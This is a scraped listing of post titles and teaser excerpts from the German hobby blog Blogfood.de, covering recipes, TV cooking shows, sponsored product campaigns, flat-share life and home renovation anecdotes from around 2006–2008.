- [Unser Beitrag zum Klimaschutz](https://www.blogfood.de/unser-beitrag-zum-klimaschutz/) - Blogfood.de - Denn wir lieben Essen: Hier findet ihr weitere Informationen zur Aktion: http://liveearth.trnd.com/ Übrigens, als trnd-Partner haben wir die Aufgabe bekommen, bei jeder Gelegenheit die Live-Earth-Buttons mit dem Green Leaf unter die Leute zu bringen. Haben wir gemacht! Zum Beispiel beim Afrika-Festival in Osnabrück oder einfach nur so im Freundes- und Bekanntenkreis. Hier sind wir als stolze Button-Träger zu sehen:
- [trnd-Wettbewerb auf Blogfood](https://www.blogfood.de/trnd-wettbewerb-auf-blogfood/) - Blogfood.de - Denn wir lieben Essen: Kaum zu glauben, aber bei Blogfood ist man gerade nicht so gut aufeinander zu sprechen. Der Grund dafür ist der von trnd ins Leben gerufene Wettbewerb um das neue Henkel-Produkt "terra activ". Während Herr Hauser im Team Bad Punkte sammelt, vertritt Herr Kuna das Team Küche. Letzteres dürfte mit diesem Video vermutlich bald wieder in
- [Kulinarische Reise um die Welt bei Lanz kocht!](https://www.blogfood.de/kulinarische-reise-um-die-welt-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Heute Abend geht es bei "Lanz kocht!" (23.30 - 0.30 Uhr, ZDF) auf kulinarische Entdeckungsreise um die Welt. Aus allerlei Zutaten verschiedener Länder kreieren Johann Lafer, Horst Lichter, Alfons Schuhbeck, Cornelia Poletto, Denise Amman und natürlich wieder ein Gewinner aus der "Küchenschlacht" leckere Gerichte: Vorspeise Sashimi und Tatar vom Thunfisch auf knusprigem Crostini mit Kokos-Wasabi-Crème
- [Blogfood.de verschenkt 20 CEWE-Gutscheine](https://www.blogfood.de/cewe-gutscheine/) - Blogfood.de - Denn wir lieben Essen: Im einem der aktuellen trnd - Projekte testen derzeit 7.500 Partner das CEWE - Fotobuch auf Herz und Nieren. Mit dabei bin auch ich. Zum trnd-Startpaket gehören neben einem Gutschein für das große XL - Fotobuch auch noch 30 Gutscheine im Wert von jeweils 10,00 € zum Weitergeben. Aus diesem Anlass verschenke ich auf Blogfood.de
- [Moules frites](https://www.blogfood.de/moules-frites/) - Blogfood.de - Denn wir lieben Essen: Herr Hauser hat mich durch seinen Belgien-Trip ermuntert, diesen Beitrag hier zu veröffentlichen. Moules frites sind schon was Feines - und natürlich nicht nur in Belgien. Ich habe mich hier für eine relativ klassische (ob das auch für Belgien gilt... keine Ahnung...) Variante entschieden: Weißwein, Möhren, Zwiebeln, Knoblauch - je nach Menge und Topfgröße dauert
- [Schweinerückenfilet mit Toskana-Gemüse, Les-Blondes-Kartoffeln und Sauce Hollandaise](https://www.blogfood.de/schweinerueckenfilet-mit-toskana-gemuese-les-blondes-kartoffeln-und-sauce-hollandaise/) - Blogfood.de - Denn wir lieben Essen:
- [Salatvariation mit gegrilltem Hähnchenfilet](https://www.blogfood.de/salatvariation-mit-gegrilltem-haehnchenfilet/) - Blogfood.de - Denn wir lieben Essen: Aus der Betriebskantine:
- [Käseschnitzel mit Bratkartoffeln](https://www.blogfood.de/kaeseschnitzel-mit-bratkartoffeln/) - Blogfood.de - Denn wir lieben Essen: Aus der Betriebskantine:
- [Curry-Geschnetzeltes mit Reis und Zuckerschoten](https://www.blogfood.de/curry-geschnetzeltes-mit-reis-und-zuckerschoten/) - Blogfood.de - Denn wir lieben Essen: Aus der Betriebskantine:
- [Broccoli-Pizza](https://www.blogfood.de/broccoli-pizza/) - Blogfood.de - Denn wir lieben Essen: Von irgendeinem Hannoveraner Pizzaservice stammt diese leckere Broccoli-Pizza. Geschmacklich konnte sie keineswegs mit selbstgemachter mithalten, vor allem der Teig zeigte eindeutig Mängel: Nicht kross genug, zu feste Konsistenz. Ansonsten war der Käse leider nicht sehr aromatisch und der Pizza-Grundsauce fehlte es klar an Gewürzen.
- [Heute Abend bei Lanz kocht!](https://www.blogfood.de/heute-abend-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Bei Markus Lanz stellen heute Abend (Freitag, 18. Juli 2008) um 23 Uhr wieder fünf Köche ihr Können unter Beweis.Das Thema der heutigen Sendung kommt vielversprechend daher:"Kulinarische Highlights - Rezepte für jeden Geschmack".Wie sehr die Kreationen letztlich Highlight sind, bleibt abzuwarten. Als kleinen Vorgeschmack bieten wir an dieser Stelle aber schon einmal einen kurzen Überblick
- [Bilder aus dem Sommerlager 2...](https://www.blogfood.de/bilder-aus-dem-sommerlager-2/) - Blogfood.de - Denn wir lieben Essen:
- [Durchschnitts-Fan oder Patriot?](https://www.blogfood.de/durchschnitts-fan-oder-patriot/) - Blogfood.de - Denn wir lieben Essen: Jo. Ok, das hier ist ein Auto. Dieses Auto ist schon ziemlich alt. Denke ich zumindest. Ich habe dieses Auto hier auch schon öfter gesehen. Allerdings hatte es dort nur eine Deutschland-Fahne über die Motorhaube gespannt. Jetzt ist es rundum so. Cool was. Ist übrigens nicht mein Auto. Stellt sich mir jetzt nur die Frage:
- [Zwischenmieter und andere Probleme](https://www.blogfood.de/zwischenmieter-und-andere-probleme/) - Blogfood.de - Denn wir lieben Essen: Seit Oktober 2006 gehöre auch ich zu den WG-lern und habe seither so einige positive und leider auch negative Erfahrungen gemacht, die ich gerne mit euch teilen möchte: Bei meiner Wohnungssuche im Internet fiel mir auf, dass sich selbiges wohl nicht so einfach bewerkstelligen ließe. Dennoch wurde ich vom Gegenteil überzeugt, auch wenn´s Anfangs nicht
- [Fan-Food](https://www.blogfood.de/fan-food/) - Blogfood.de - Denn wir lieben Essen: Dieses Fan-Food-Foto erhielten wir am 01.06.2006 von Frido per eMail. Der hinterlegte Kommentar: "Der Spass hätte so wie er da steht 1,96 Euro gekostet (Kalkulation ohne Arbeitsaufwand im Wert von 200 €)". Das WG-Blog.de - Team bedankt sich für die Einsendung. Zu unserer Entlastung: Bitte verzeiht, dass wir manchmal etwas länger mit der Einstellung von Einträgen
- [Die WG-Blog-Pizza ist da!](https://www.blogfood.de/die-wg-blog-pizza-ist-da/) - Blogfood.de - Denn wir lieben Essen: Achtung! NEU! Nur exklusiv auf WG-Blog.de: Die einzigwahre WG-Blog-Pizza. Belegt mit hauseigener Bol-Tomato-Soße, saftigem Tunfisch, frischen Krabben, starken Zwiebeln und feurigen griechischen Spitzpaprika sowie mundigem Käse. Jetzt online bestellen. Wir liefern schnell und heiß. Heute zum Einführungspreis von nur € 34,99 + Porto und Versand
- [Schweinenackensteak mit Rahmsauce](https://www.blogfood.de/schweinenackensteak-mit-rahmsauce/) - Blogfood.de - Denn wir lieben Essen: In Öl-Butter-Mischung das Nackensteak bei mittlerer Hitze braten, Zwiebeln und ganze Knoblauchzehe(n) dazu. Herausnehmen, Bratfond mit Sherry ablöschen, kurz mit Sahne aufkochen. Etwas eiskalte Butter einrühren. Mit Salz und Pfeffer abschmecken und zum Schluss fein gehackte Petersilie einrühren.
- [Teriyaki-Lachs auf Wasabi-Gurkensalat von Johann Lafer](https://www.blogfood.de/teriyaki-lachs-auf-wasabi-gurkensalat-von-johann-lafer/) - Blogfood.de - Denn wir lieben Essen: Johann Lafers Vorspeise bei "Lanz kocht!" (Freitagabend, 04.07.08, 23 Uhr, ZDF) wurde von fast allen Köchen hoch bewertet. Lediglich Sarah Wiener bemängelte den für sie als bitter empfundenen Geschmack des Lachstoppings. Weder Publikum noch Köche konnten dies jedoch bestätigen.Im Gegenteil: Die butterweiche Konsistenz des in Gemüse-/Fischfond gedünsteten und vorher marinierten Bio-Lachsfilets wurde sehr gelobt. Die
- [ Lammkeule im Crêpes-Mantel auf Oliven-Kidneybohnen-Gemüse](https://www.blogfood.de/lammkeule-im-crepes-mantel-auf-oliven-kidneybohnen-gemuese/) - Blogfood.de - Denn wir lieben Essen: Für ein schönes Stück Lammkeule suchte ich nach einer nicht ganz alltäglichen Zubereitungsart. Inspirieren ließ ich mich schließlich von einem Rezept von Harald Wohlfahrt (Schwarzwaldstube) für Lammkoteletts und Lammmedaillons.Aus einem Teil des Lammfleisches habe ich zunächst eine Farce hergestellt. Auch wenn man einen kräftigen Mixer besitzt, gelingt diese einfacher, wenn man das Fleisch zu allererst
- [Lecker Salat](https://www.blogfood.de/lecker-salat/) - Blogfood.de - Denn wir lieben Essen: Auch mal wieder Lust auf einen schönen Salat? Zutaten:Feldsalat, Paprika, Tomate, Gurke, Mandarinen (aus der Dose), Hähnchenbrust, SpeckwürfelDas Gemüse einfach waschen und den Feldsalat gut abtropfen lassen. Paprika, Tomate und Gurke in Würfel schneiden und unter den Feldsalat mischen, dann die Mandarinen hinzugeben. Die Hähnchenbrust in einer Pfanne mit ein wenig heißem Fett durchbraten und zum
- [Grüner Käse](https://www.blogfood.de/gruener-kaese/) - Blogfood.de - Denn wir lieben Essen: Neulich im Supermarkt entdeckt:Holländischer Gouda mit Pesto.Zu Anfang war ich ja etwas skeptisch, aber der Geschmack ist doch recht gut. Die Goudanote vereint mit Basilikum und Knoblauch harmoniert vollkommen.
- [Blumenkohl-Broccoli-Gratin](https://www.blogfood.de/blumenkohl-broccoli-gratin/) - Blogfood.de - Denn wir lieben Essen: Nichts Besonderes, aber lecker! :-)
- [Lecker schmeckt anders...](https://www.blogfood.de/lecker-schmeckt-anders/) - Blogfood.de - Denn wir lieben Essen: So. Ich hab mir vor kurzem mal einfach zwei Quick-Burger gekauft, um zu testen wie diese denn wohl schmecken.Naja. Gestern war es dann soweit. Die Zubereitung ist an und für sich kinderleicht. Burger aus dem Gefrierfach nehmen, auspacken und von der Folie befreien, aufn Teller legen und ab in die Mikrowelle. Soweit so gut. Nach
- [WG-Blog.de-Burger für hungrige Fans ;-)](https://www.blogfood.de/wg-blogde-burger-fur-hungrige-fans/) - Blogfood.de - Denn wir lieben Essen: Ihr habt euren ersten (?) Fan! Von der WG-Blog-Pizza inspiriert habe ich mich heute zu einer eigenwilligen Burger-Kreation hinreißen lassen. Beim nächsten Mal werde ich die Buchstaben einbrennen (mit Rouladennadeln oder so - mal sehen...). Ach ja, hier muss man ja Preise nennen ;-) Zwei Steaks à 12,- EUR plus Beilagen - ich würd'
- [Mit Markenbutter richtig sparen](https://www.blogfood.de/mit-markenbutter-richtig-sparen/) - Blogfood.de - Denn wir lieben Essen: Bei Björn Harste wäre das sicher nicht passiert: Da greift man nichts ahnend nach dem nächstbesten Päckchen Butter im Kühlregal, kontrolliert kurz das MHD und kurzum liegt die gute Markenbutter auch schon im Wagen.Also auf zur Kasse, schließlich ist es schon fast 20 Uhr...Eine Minute vor Ladenschluss werden im Plus aber nicht nur die Ü60-Kunden
- [Der große Delikato-Grillteller](https://www.blogfood.de/der-grosse-delikato-grillteller/) - Blogfood.de - Denn wir lieben Essen: Leider wird dieser leckere Grillteller, der aus vielen tollen türkischen Spezialitäten besteht, in der Form wohl leider nie wieder zu bekommen sein. Gekauft wurde er für knapp 10 Euro im "Delikato" in der Limmerstraße in Hannover. Leider wurde diese Delikato-Filiale irgendwann 2007 geschlossen - ein Jammer, es gab dort einen der besten Döner der Stadt.Die
- [Thunfisch-Steaks auf mediterrane Art](https://www.blogfood.de/thunfisch-steaks-auf-mediterrane-art/) - Blogfood.de - Denn wir lieben Essen: Thunfisch-Steaks auf mediterrane Art, das heißt auf einem Gemüsebett von Zwiebeln und Zucchini
- [Kampf den tropischen Temperaturen...](https://www.blogfood.de/kampf-den-tropischen-temperaturen/) - Blogfood.de - Denn wir lieben Essen: Bei rund 30 Grad durchschnittlicher Zimmertemperatur muss man nicht lange überlegen, ob sich der Kauf einer 10 EUR teuren Sonnenschutzfolie fürs Fenster lohnt.Bei den meisten Fenstern klappte der heimwerkerliche Noteinsatz auch ganz gut, nämlich in etwa so: Leider war der erste Versuch nicht ganz so perfekt: Und als am Ende dann auch noch die Folie
- [Boah, ist das eklig...](https://www.blogfood.de/boah-ist-das-eklig/) - Blogfood.de - Denn wir lieben Essen: Mit großem Ekel und kurz vor dem Brechreiz, musste ich soeben die nebenstehende Entdeckung machen. Saueklig. Bei diesem Objekt unbekannter Herkunft, handelt es sich um lebende Weizenbrötchen, ehemals zum Aufbacken geeignet. Nach derzeitigem Kenntnisstand ist davon allerdings abzuraten, diese aufzubacken. In dieser Aufbewahrungstüte haben sich neben einigen Schimmelsporen auch Maden angesiedelt. Vor jeglichem Kontakt ist
- [Bilder aus dem Sommerlager...](https://www.blogfood.de/bilder-aus-dem-sommerlager/) - Blogfood.de - Denn wir lieben Essen:
- [Kleine Liebeserklärung](https://www.blogfood.de/liebeserklaerung/) - Blogfood.de - Denn wir lieben Essen: ANIA!Ich liebe dich! Ik hou van je!Kocham Cie!
- [UPDATE: Und jetzt ist die Toilette auch noch weg...](https://www.blogfood.de/und-jetzt-ist-die-toilette-auch-noch-weg/) - Blogfood.de - Denn wir lieben Essen: === UPDATE ==============Unglaublich, aber heute wurde doch tatsächlich das Wand-WC montiert: (Neue) Bodenfliesen stellte man zwar in Aussicht, allerdings muss ich darauf wohl bis Januar warten...======================= Irgendwas läuft hier falsch... Statt des alten Spülkastens oder eines neuen Wand-WCs finde ich nun eine nackte Wand vor.Zum Glück gibt's ja genügend Gastronomie in der Nähe...
- [WG-Blog.de kommentiert Deutschland-Italien, Verlängerung Teil 1](https://www.blogfood.de/kommentiert-deutschland-italien-verlaengerung-1/) - Blogfood.de - Denn wir lieben Essen: Die ersten 15 Minuten der Verlängerung können das WG-Blog.de-Team noch nicht wirklich beeindrucken, aber hört selbst![ACT]http://wg-blog-de.podspot.de/files/deuit3hz.asf,150,30[/ACT]
- [HAPPY BIRTHDAY](https://www.blogfood.de/happy-birthday/) - Blogfood.de - Denn wir lieben Essen: Die Gesine wird heut´22 Jahr! Wir wünschen dir alles Liebe und Gute zum Geburtstag.
- [Herzlichen Glückwunsch](https://www.blogfood.de/herzlichen-glueckwunsch/) - Blogfood.de - Denn wir lieben Essen: Ein WG-Blog.de-studiVZ-Gruppenmitglied hat heute Geburtstag.Alles Gute, Benjamin!Übrigens - er ist zur Zeit mit folgendem Stück im Kammertheater "Der kleine Bühnenboden" in Münster zu sehen:
- [Seifenblasencomics](https://www.blogfood.de/seifenblasencomics/) - Blogfood.de - Denn wir lieben Essen: Gestern erreichte mich eine Mail von Volker Seifen aus Oldenburg mit untenstehendem Bild. Auch er zeigt Flagge gegen Rechts. Er will zeigen wie Deutschland wirklich ist: WELTOFFEN UND NICHT AUSLÄNDERFEINDLICH. Inspiriert haben ihn die Fans der WM 2006. Er bat mich um Weiterleitung dieses Bildes.Gerne doch!Weitere Werke findet ihr hier.
- [Hilfe, mein Spülkasten ist weg!](https://www.blogfood.de/hilfe-mein-spuelkasten-ist-weg/) - Blogfood.de - Denn wir lieben Essen: Tja, so schnell kann's gehen: Heute Morgen demontierten ein paar Handwerker innerhalb weniger Minuten den Spülkasten - das versprochene moderne Wand-WC lässt dagegen noch auf sich warten...
- [Einsatz in vier Wänden](https://www.blogfood.de/einsatz-in-vier-waenden/) - Blogfood.de - Denn wir lieben Essen: Ja, auch dafür gibt sich das WG-Blog.de-Team her: Ein kritischer Renovierungseinsatz in vier (verdammt renovierungsbedürftigen!) Wänden nahm ein halbes Wochenende in Anspruch.Doch beginnen wir der Reihe nach. Am Donnerstagabend bekam die WG-Blog.de-Redaktion Hinweise darauf, dass für Freitag die Renovierung einer Küche vorgesehen war. Das erfahrene Umzugs- und Heimwerkerteam sah darin natürlich die Gelegenheit, erstmalig einer
- [Gruesse aus Rom](https://www.blogfood.de/gruesse-aus-rom/) - Blogfood.de - Denn wir lieben Essen: Man, man, man!!!! Unglaublich, aber es regnet doch tatsächlich in Rom. Absoluter Ausnahmezustand in Rom und wir sind live dabei. Es ist ja nicht nur ein wenig Regen, nein es sind Regengüsse, die man so selbst aus dem lieben good old Germany so nicht kennt. Wir haben unseren Spass und das meinen wir ernst!!! Hat
- [Ist denn schon Weihnachten?](https://www.blogfood.de/ist-denn-schon-weihnachten/) - Blogfood.de - Denn wir lieben Essen: Also, wenn man jetzt mal ganz unauffällig auf den Kalender sieht, stellt man fest, dass heute erst der 19. September 2006 ist. Ok, dann sind es jetzt noch 96 Tage bis Weihnachten. Oder? Draußen sind es noch über 20 Grad und Schnee kann ich auch noch nicht sehen. Naja, zwar stehen die ersten Weihnachtsartikel in
- [Ein Sommer- äh bzw. Herbsttraum Teil 2](https://www.blogfood.de/ein-sommer-aeh-bzw-herbsttraum-teil-2/) - Blogfood.de - Denn wir lieben Essen: Sehr vereehrte Leserschaft, freudestrahlend, ach was sage ich, freudetaumelnd! oder nein besser trunken vor Glück darf ich Ihnen mitteilen, dass der sagenhafte Drittligist VfL Osnabrück in einem furiosen Spiel soeben Borussia MöchenGlabach (die Fehler sind beabsichtigt, um meine Geringschätzung kundzutun) aus dem DFB-Pokal geschmissen hat.UND ICH WAR LIVE DABEI!!! Jetzt können natürlich mindestens 18.000 Menschen
- [Also meine WG ist toll und alle Welt soll's wissen...](https://www.blogfood.de/also-meine-wg-ist-toll-und-alle-welt-solls-wissen-2/) - Blogfood.de - Denn wir lieben Essen: Hallo liebe WG-Blog-Leser, nachdem ich mir nun ständig von Pascal und so manch anderem anhören musste wie schlimm ihre WG-Mitbewohner sind... dachte ich mir, dass ich mal ein Positivbeispiel bringe und mal meine kleine WG hier vorstelle. Seit etwa 2 Wochen habe ich nämlich zwei neue Mitbewohnerinnen, die hier zur Zwischenmiete eingezogen sind. Meine ursprünglichen
- [Italien ist Weltmeister...](https://www.blogfood.de/italien-ist-weltmeister/) - Blogfood.de - Denn wir lieben Essen: also ich will ja nix sagen... doch ich will! Hab ich euch nicht gesagt, dass Italien Weltmeister wird? Doch hab ich! Und is mir egal, dass ich mich einen Dreck für Fussball interessiere... und es interessiert mich auch nicht wirklich, dass Italien nun mal gewonnen hat, aber da ich das vor etwa 2 Wochen erwähnt
- [Scherben bringen Glück?](https://www.blogfood.de/scherben-bringen-glueck/) - Blogfood.de - Denn wir lieben Essen: Seit rund zwei Tagen schmückt diese postmoderne Installation aus nichtkristallinem Siliziumoxid einen zentralen Bereich der wohl bald bekanntesten WG Bremerhavens.Als stiller Beobachter aus der Ferne kann ich jedoch nur mutmaßen, was es mit jener eigenwilligen Komposition - böse Zungen mögen sie als einen Haufen Glasscherben bezeichnen - auf sich hat.Interessant ist, dass sich der Betreiber
- [Mercedes-Benz E-Klasse Experience in Hamburg](https://www.blogfood.de/mercedes-benz-e-klasse-experience-in-hamburg/) - Blogfood.de - Denn wir lieben Essen: Tja, dass WG-Blog.de gefragt ist wie kein anderer Blog im Netz, war uns eigentlich schon lange klar. Dass aber nicht einmal mehr Mercedes-Benz auf die fachkundige Meinung der WGblogger verzichtet, hat uns dann doch ein wenig verwundert.Aber was soll's? Dafür sind wir ja da und so fuhren wir gestern Nachmittag kurzerhand nach Hamburg zu den
- [Einsatz in vier Wänden Teil 4](https://www.blogfood.de/einsatz-in-vier-waenden-teil-4/) - Blogfood.de - Denn wir lieben Essen: Wir dachten wir wären fertig, doch dem sollte wohl nicht so sein. Irgendwie waren wir doch gezwungen mal in den Kühlschrank zu schauen, was wir wohl besser hätten lassen sollen. Uns erwarteten in diesem kühlenden Gebilde einige bekannte und neue Lebenskulturen und Mikroorganismen aus längst vergangenen Zeiten.Am Morgen wurde uns noch erzählt, dass in diesem
- [Schöpfungsgeschichte die zweite](https://www.blogfood.de/schoepfungsgeschichte-die-zweite/) - Blogfood.de - Denn wir lieben Essen: Ich glaube, diese Klinkenputzer lesen auch diesen Blog... Wie sonst ist es zu erklären, dass sie nach einem Besuch bei Herrn Hauser in Bremerhaven nun heute Morgen auch vor meiner Haustür standen. Die Armen, bis in den vierten Stock haben sie sich hochgequält... Schon die erste Äußerung des schwarz gekleideten Herrn, an dessen Outfit eigentlich
- [Einsatz in vier Wänden Teil 3](https://www.blogfood.de/einsatz-in-vier-waenden-teil-3/) - Blogfood.de - Denn wir lieben Essen: Tja. Es hat schon ein paar Stunden in Anspruch genommen die kleine Küche zu streichen, doch irgendwann schafft man es dann doch. Auch wenn wir feststellen würden, dass wir die Farbe am nächsten Tag nochmal brauchen. Einrichtungsexpertin Enie Annira (s. 3. Foto) war dann so nett, unser vollbrachtes Werk dieses Tages höchstoffiziell abzunehmen.Leider war es
- [Brand auf Kühlschiff außer Kontrolle?](https://www.blogfood.de/brand-auf-kuehlschiff-ausser-kontrolle/) - Blogfood.de - Denn wir lieben Essen: Beängstigend? Nein. Seit Dienstag Nachmittag brutzelt ein Kühlschiff im Hafen, oder besser gesagt in der Lloydwerft, locker vor sich hin. Was daraus resultiert? Ganz einfach Qualm- und Geruchsbelästigung und das im ganzen Stadtgebiet. Mehrere Geschäfte wurden vorsorglich geschlossen. Man hat teilweise den Eindruck, als sei man betrunken, es ist alles so leicht eingenebelt. Irgendwie ein
- [WG-Blog.de-Handwerker im Einsatz](https://www.blogfood.de/wg-blogde-handwerker-im-einsatz/) - Blogfood.de - Denn wir lieben Essen: Was in letzter Zeit nur los ist... Kaum ist der Küchen-Noteinsatz vollbracht, trudelt auch schon der nächste Auftrag ein: Ein Regal und eine Deckenlampe warteten in Münster auf einen Vertreter der WG-Blog.de-Handwerkskammer."Ein Regal zusammenbauen? Kein Problem", dachte sich der mit professionellstem Werkzeug ausgestattete Sachbearbeiter. Doch was ihn da an "Regalteilpäckchen" erwartete, stellte ihn vor eine
- [Einsatz in vier Wänden Teil 2](https://www.blogfood.de/einsatz-in-vier-waenden-teil-2/) - Blogfood.de - Denn wir lieben Essen: Nachdem wir den Unrat dieser bald wunderschönen Küche endlich entsorgt hatten, das heißt erstmal in den Hausflur gestellt hatten (vor die Tür der Nachbarn, die gerade Möbel hoch- und runterschleppten) ging es an das Abkleben der Fußleisten usw. und schließlich ans Ausfegen. Nachdem die Küche soweit klinisch rein war, deutete alles darauf hin, dass wir in
- [Eiszeit](https://www.blogfood.de/eiszeit/) - Blogfood.de - Denn wir lieben Essen: Nein, in meiner Dusche hat es nicht geschneit. Aber so sieht es aus, wenn man das Gefrierfach nach Monaten mal enteist ...Kommt auf den Bildern nicht ganz rüber, aber es waren rund vier Kehrbleche voll Gefrierfach-Eis.
- [Kabelsalat](https://www.blogfood.de/kabelsalat/) - Blogfood.de - Denn wir lieben Essen: Ich weiß ja nicht, aber nennt man das jetzt Kabelsalat!? Seit über sechs Wochen, ferner seit dem wir den Telefonanschluss haben, ziert dieser sogenannte Salat den Türbereich des Wohnzimmers. So richtig kommt das auf dem Bild ja nicht rüber. Sieht da drauf gar nicht so schlimm aus. Naja. Mal sehen, ob ich das mal irgendwie
- [Gähnende Leere...](https://www.blogfood.de/gaehnende-leere/) - Blogfood.de - Denn wir lieben Essen: Hallo?! Wat is hier los? - Erstaunlicher Weise herrscht in diesem quaderförmigen von Kühlzellen besetzten Kasten, kurz Kühlschrank genannt, eine außerordentliche Aufgeräumtheit. Man könnte es auch als wohlwollende Umschreibung für "so gut wie leer" bezeichnen. Hmmh. Diese kalte Seite zeigt mir der Kasten bereits seit Donnerstag. Das stellt nicht gerade die Möglichkeit kulinarischer Möglichkeiten dar.
- [Stilvoll](https://www.blogfood.de/stilvoll/) - Blogfood.de - Denn wir lieben Essen: Ich möchte heute einfach unsere coole einzigartige wunderbare schöne und stilvolle Wohnzimmerlampe vorstellen.Auch wenn ich diese Lampe anfangs unschön fand, muss ich sagen das ich mich mittlerweile drangewöhnt habe. Ja. Ich finde diese Lampe sogar richtig stylisch. Man könnte jetzt fragen, warum haben wir eine Lampe an der Wand?! Tja. Geplant war das nicht. Wochen
- [Noch mehr Designer-Lampen!](https://www.blogfood.de/noch-mehr-designer-lampen/) - Blogfood.de - Denn wir lieben Essen: Herr Hauser, ein Lob für Ihre in der Tat stilvolle Wandbeleuchtung. Dennoch muss ich Ihnen leider mitteilen, dass ich mit dieser Deckenlampe (!) wohl der bessere Kandidat für den "Lichtdesign-Award" der International Association of Lighting Designers wäre.Oder wie wäre es mit diesem wunderbaren Exemplar? Na ja, vielleicht gibt's ja bald eine Art WG-Blog.de-Award für Möbel, Deko
- [Nougatcreme - Versteh ich nicht...](https://www.blogfood.de/nougatcreme-versteh-ich-nicht/) - Blogfood.de - Denn wir lieben Essen: Heute war wieder einer dieser tollen Tage. Letzte Nacht konnte ich nicht einschlafen, habe es aber dann doch noch gegen halbsechs geschafft. Ich weiß nicht, kennt ihr das? Man ist totmüde und kann trotzdem nicht einschlafen. Naja. Schlafen konnte ich dann bis etwa zehn Uhr. Warum? Ganz einfach, der Paketbote klingelte. Also: Schlaf abgebrochen. Gute
- [Studenten und 60-Grad-Wäsche](https://www.blogfood.de/studenten-und-60-grad-waesche/) - Blogfood.de - Denn wir lieben Essen: Kennt ihr nicht auch dieses mysteriöseWaschmittelflecken-bzw.-Rückstände-in-schwarzer-Wäsche-Problem? Wahrscheinlich nicht - ich zumindest habe Ewigkeiten gebraucht um den - im wahrsten Sinne des Wortes - heißen Tipp zu bekommen, dass sich in meiner Waschmaschine wohl Laugenreste angesammelt haben. Die würden in Form von Schlieren an der Kleidung hängenbleiben - bei schwarzer fällt's natürlich am ehesten auf...Die Lösung,
- [Babyleichte Wohnungssuche](https://www.blogfood.de/babyleichte-wohnungssuche/) - Blogfood.de - Denn wir lieben Essen: "Das Loch in der Wand da? Ach so, das passiert manchmal, wenn ich wütend bin..."- Okay, denke ich mir, ist vielleicht nicht gerade der Mitbewohner, den ich mir erhofft hatte. Doch kaum hat sich bei mir das Bild vom gestressten Hotel Night Manager mit sporadisch auftretenden Aggressionen verfestigt, sind wir auch schon beim Thema Nachwuchs
- [Zehnter Kreuzzug im Hauptbahnhof Hannover?](https://www.blogfood.de/zehnter-kreuzzug-im-hauptbahnhof-hannover/) - Blogfood.de - Denn wir lieben Essen: Ganz schön gewagt finde ich die - offenbar anlässlich des Papst-Besuches initiierte - Marketingstrategie eines Drogeriemarktes im Hauptbahnhof Hannover. Wie es scheint, versucht man auf recht plumpe Art und Weise, ein handelsübliches Mineralwasser als gottgeweihtes Getränk unter die Leute zu bringen: Mineralwasser für Christen also. Na ja, wer's braucht...Übrigens: Das heilige Wasser ist nicht die erste
- [Schöpfer? Evolutionstheorie?](https://www.blogfood.de/schoepfer-evolutionstheorie/) - Blogfood.de - Denn wir lieben Essen: Vor zwei Minuten klingelte es unten an der Haustür. Toll denk ich mir, wer das wohl ist? Ich renn zur Gegensprechanlage und frage wer da ist. Es antwortete eine Frauenstimme mit folgenden Worten: "Guten Abend! Mein Name ist ... .Schön, dass ich Sie antreffe. Glauben Sie an den Schöpfer?"Hä? denk ich mir. Wat is los?
- [Rieger die Butter vom Brot nehmen!](https://www.blogfood.de/rieger-die-butter-vom-brot-nehmen/) - Blogfood.de - Denn wir lieben Essen: Ihr dürftet schon durch das breite Medienecho davon gehört haben:Die niedersächsische Stadt Delmenhorst steht kurz davor, mit einem sogenannten "Schulungszentrum" verschandelt zu werden.Verschandelt? Ganz genau, der Rechtsextremist Jürgen Rieger will nämlich ein leer stehendes Hotel in Delmenhorst für rd. 3,4 Mio. Euro kaufen und der Stadt so unglaublich nette Veranstaltungen wie NPD-Bundesparteitage bescheren. Tja,
- [Fettes Brot LIVE - Ein Klasse Konzert zum 1jährigen des Deutschen Auswandererhauses](https://www.blogfood.de/fettes-brot-ein-klasse-konzert/) - Blogfood.de - Denn wir lieben Essen: Tja. Dann war ich wohl doch noch beim Konzert von Fettes Brot in Bremerhaven. Für den Fall, dass ich nicht hingehe, hatte Olessja mir ja viel Leid und Schmerz versprochen . Ich muss sagen, es hat sich gelohnt. Zwei Stunden (können auch nur 90 Minuten gewesen sein) Fettes Brot für fünf €. Einfach genial. Hoffentlich
- [Fettes Brot](https://www.blogfood.de/fettes-brot/) - Blogfood.de - Denn wir lieben Essen: Was soll ich sagen?! Naja, heute Abend spielen Fettes Brot in Bremerhaven und ich? Ich sitze hier und will da hin, nur leider ist keiner da, der mitgeht! Sind ja alle in den Semesterferien. Das ist so gemein. Alleine macht das Ganze einfach keinen Spaß!!!!!!!!!!!!!!!!!

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